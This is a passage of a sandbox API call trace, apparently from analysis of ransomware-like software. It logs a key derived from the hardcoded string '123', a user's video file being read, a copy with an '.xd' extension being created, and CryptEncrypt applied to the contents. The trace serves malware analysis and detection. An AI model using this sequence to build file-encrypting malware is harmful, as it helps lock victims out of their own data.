wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.243] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.243] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.244] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.244] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.244] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.244] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.244] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.244] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.244] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.244] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.244] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.244] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.245] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.245] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.245] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.245] CryptCreateHash (in: hProv=0x17a9f00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.245] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629550, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.246] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.246] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.246] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.246] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.246] CryptHashData (hHash=0x164c2b0, pbData=0x1629570, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.246] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.246] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.246] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.246] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.246] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.246] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.247] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.247] CryptDeriveKey (in: hProv=0x17a9f00, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8f0) returned 1 [0066.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.247] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.247] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.247] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.248] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.248] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0066.248] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.248] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\i_awromqtx2noj1yq.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.248] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.248] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.248] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.249] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\i_awromqtx2noj1yq.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.252] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.252] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5695, lpOverlapped=0x0) returned 1 [0066.253] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.255] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.255] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.255] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.256] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.256] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.256] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.257] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.257] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.257] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.257] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.257] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.257] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.257] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.257] CryptGetKeyParam (in: hKey=0x164c8f0, dwParam=0x7, pbData=0x16295c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16295c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.257] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.257] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.258] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.258] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.258] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.258] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.258] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.258] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.258] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.258] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.259] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.259] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x5695, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x56a0) returned 1 [0066.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.259] CharLowerBuffW (in: lpsz="byte[22177]", cchLength=0xb | out: lpsz="byte[22177]") returned 0xb [0066.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.260] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.260] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.260] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 